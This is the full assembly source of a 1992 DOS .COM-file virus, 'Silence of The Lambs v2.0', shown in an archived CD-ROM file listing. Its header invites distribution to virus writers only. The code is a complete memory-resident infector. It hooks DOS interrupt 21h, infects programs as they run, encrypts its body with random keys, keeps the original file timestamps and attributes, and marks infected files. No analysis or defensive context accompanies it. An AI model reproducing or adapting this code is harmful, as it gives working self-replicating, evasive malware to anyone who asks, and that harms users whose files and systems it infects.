home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TSOTL-B.ASM < prev    next >
Assembly Source File  |  1992-05-31  |  7KB  |  322 lines

  1. ;                            Silence of The Lambs v2.0
  2. ;                (c) -=<: DRE/\MER :>=- of Demoralized Youth 1992
  3. ;
  4. ;                   THIS FILE IS FOR EDUCATION PURPOSES ONLY!
  5. ;                  PERMISSION IS GRANTED TO SPREAD THE SOURCE
  6. ;                  TO VIRUS WRITERS *ONLY*. PLEASE DO NOT MAKE
  7. ;                  ANY MODIFYCATIONS, UNLESS YOU ALSO INCLUDE
  8. ;                             THE ORIGINAL SOURCE.
  9. ;
  10. ;                               Assemble With A86
  11. ;
  12.  
  13. org     100h
  14. jmp short dummy1
  15. db      'DY'
  16. dummy1:
  17.         mov     cx,length
  18.         mov     si,offset enc_start
  19.         mov     ah,0
  20. enc_key         equ $-1
  21. dummy2:
  22.         sub     byte [si],ah
  23.         inc     si
  24.         add     ah,0
  25. enc_add         equ $-1
  26.         loop    dummy2
  27. enc_start:
  28.         mov     ah,2Dh
  29.         mov     ch,0FFh
  30.         mov     dx,cx
  31.         int     21h
  32.         cmp     al,0FFh
  33.         jne     nomore
  34.  
  35.         mov     ax,cs
  36.         dec     ax
  37.         mov     ds,ax
  38.         cmp     byte [0],'Z'
  39.         jne     nomore
  40.  
  41.         mov     ax,word [3]
  42.         sub     ax,pgfsize
  43.         jc      nomore
  44.         sub     word [3],pgfsize
  45.         sub     word [12h],pgfsize
  46.  
  47.         mov     es,word [12h]
  48.         mov     si,110h
  49.         mov     di,100h
  50.         mov     cx,total
  51.         cld
  52.         rep     movsb
  53.  
  54.         xor     ax,ax
  55.         mov     ds,ax
  56.         mov     si,84h
  57.         mov     di,old21
  58.         movsw
  59.         movsw
  60.  
  61.         cli
  62.         mov     word [84h+2],es
  63.         mov     word [84h],offset ni21
  64.         sti
  65.  
  66. nomore:
  67.         push    cs
  68.         push    cs
  69.         pop     es
  70.         pop     ds
  71.  
  72.         mov     bx,0000h                        ;return control to the
  73. eof     equ $-2                                 ;end user
  74.         jmp     bx
  75.  
  76. xclose:         jmp     close
  77.  
  78. infect:
  79.         push    cs
  80.         pop     ds
  81.         push    cs
  82.         pop     es
  83.  
  84.         db      0E4h,40h
  85.         mov     byte [enc_key],al
  86.  
  87.         mov     ax,4300h                        ;use CHMOD to get file attr
  88.         xor     dx,dx
  89.         int     21h
  90.  
  91.         mov     [0F0h],cx                       ;store attr in PSP
  92.  
  93.         mov     ax,4301h                        ;clear file attr with CHMOD
  94.         xor     cx,cx
  95.         int     21h
  96.  
  97.         mov     ax,3D02h                        ;open file for read / write
  98.         int     21h
  99.         xchg    bx,ax
  100.         lahf
  101.         push    ax
  102.         mov     ax,5700h                        ;get file date & time
  103.         int     21h
  104.  
  105.         mov     [0F2h],cx
  106.         mov     [0F4h],dx
  107.         pop     ax
  108.         sahf
  109.         jc      xclose
  110.  
  111.         mov     ah,3Fh                          ;read from file
  112.         mov     cx,total
  113.         mov     dx,old
  114.         int     21h
  115.  
  116.         cmp     byte [old+0],'M'   ;exe MZ ?
  117.         je      xclose
  118.         cmp     byte [old+0],'Z'   ;exe ZM ?
  119.         je      xclose
  120.         cmp     word [old+2],'YD'   ;allready infected?
  121.         je      xclose
  122.  
  123.         mov     ax,4202h                        ;lseek to EOF
  124.         xor     cx,cx
  125.         xor     dx,dx
  126.         int     21h
  127.  
  128.         cmp     ah,0FAh
  129.         jae     xclose
  130.         cmp     ah,4
  131.         jb      xclose
  132.  
  133.         add     ax,total+100h
  134.         mov     word [00F6h],ax
  135.  
  136.         mov     ah,40h                          ;write to EOF
  137.         mov     cx,total
  138.         mov     dx,old
  139.  
  140. push    cx
  141. mov     al,byte [enc_key]
  142. mov     si,dx
  143. enc_app:
  144. xor     byte [si],al
  145. inc     si
  146. loop    enc_app
  147. pop     cx
  148.  
  149.         int     21h
  150.  
  151.         mov     ah,40h                          ;write to EOF
  152.         mov     cx,applen
  153.         mov     dx,offset append
  154.         int     21h
  155.  
  156.         mov     ax,4200h                        ;lseek to beginning of file
  157.         xor     cx,cx
  158.         xor     dx,dx
  159.         int     21h
  160.  
  161.         push    [eof]
  162.         mov     ax,word [00F6h]
  163.         mov     [eof],ax
  164.  
  165.         mov     ah,byte [enc_key]
  166.         db      0E4h,40h
  167.         mov     byte [enc_add],al
  168.         mov     dl,al
  169.  
  170.         mov     si,100h
  171.         mov     di,old
  172.  
  173.         cld
  174.         mov     cx,offset enc_start-100h
  175.         rep     movsb
  176.  
  177.         mov     cx,length
  178. enc:
  179.         lodsb
  180.         add     al,ah
  181.         stosb
  182.         add     ah,dl
  183.         loop    enc
  184.  
  185.         mov     ah,40h                          ;write viral code
  186.         mov     dx,old
  187.         mov     cx,total
  188.         int     21h
  189.  
  190.         pop     [eof]
  191. close:
  192.         mov     ax,5701h
  193.         mov     cx,[00F2h]
  194.         mov     dx,[00F4h]
  195.         int     21h
  196.  
  197.         mov     ah,3Eh                          ;close file
  198.         int     21h
  199.  
  200.         mov     ax,4301h
  201.         mov     cx,[00F0h]
  202.         xor     dx,dx
  203.         int     21h
  204.         ret
  205.  
  206. append:
  207.         call    $+3             ;replace org bytes
  208.         pop     si
  209.         sub     si,3+total
  210.         mov     di,100h
  211.         mov     cx,total
  212.         mov     ah,byte [enc_key]
  213. append_enc:
  214.         lodsb
  215.         xor     al,ah
  216.         stosb
  217.         loop    append_enc
  218.  
  219.         mov     ax,100h         ;return IP to 100h when done
  220.         push    ax
  221.  
  222.         sub     ax,ax           ;zero regs
  223.         xor     bx,bx
  224.         and     cx,cx
  225.         sub     dx,dx
  226.         xor     si,si
  227.         and     di,di
  228.         sub     bp,bp
  229.  
  230.         ret
  231. applen  equ $-offset append
  232.  
  233. ni21:
  234.         pushf
  235.         cmp     ah,2Dh
  236.         jne     Not_Time
  237.         cmp     ch,0FFh
  238.         jne     Not_Time
  239.         cmp     ch,dh
  240.         jne     Not_time
  241.  
  242.         mov     Al,0
  243.         popf
  244.         iret
  245. Not_Time:
  246.         cld
  247.         push    ax
  248.         push    bx
  249.         push    cx
  250.         push    dx
  251.         push    si
  252.         push    di
  253.         push    bp
  254.         push    es
  255.         push    ds
  256.  
  257. ;       cmp     ah,41h
  258. ;       jne     Not_Parse
  259. ;       mov     ah,3Ch
  260. ;       cli
  261. ;       add     sp,18
  262. ;       sti
  263. ;       popf
  264. ;       jmp     old21-1
  265.  
  266. Not_Parse:
  267.         cmp     ax,4B00h
  268.         jne     Not_Exec
  269.  
  270.         mov     si,dx
  271.         push    cs
  272.         pop     es
  273.         xor     di,di
  274.         mov     cx,128
  275.         rep     movsb
  276.  
  277.         mov     ax,3524h
  278.         int     21h
  279.         push    es
  280.         push    bx
  281.  
  282.         push    cs
  283.         pop     ds
  284.  
  285.         mov     ax,2524h
  286.         mov     dx,offset ni24
  287.         int     21h
  288.  
  289.         call    infect
  290.  
  291.         pop     dx
  292.         pop     ds
  293.         mov     ax,2524h
  294.         int     21h
  295.  
  296. Not_Exec:
  297.         pop     ds
  298.         pop     es
  299.         pop     bp
  300.         pop     di
  301.         pop     si
  302.         pop     dx
  303.         pop     cx
  304.         pop     bx
  305.         pop     ax
  306.         popf
  307.         jmp     far     0000:0000
  308. old21   equ $-4
  309.  
  310. ni24:   mov al,0
  311.         iret
  312.  
  313. db      'The Silence Of The Lambs!$'
  314.  
  315. total   equ $-100h                      ;size
  316. pgfsize equ (($*2)/16)+2
  317. length  equ $-offset enc_start
  318.  
  319. old     equ $
  320.  
  321.  
  322.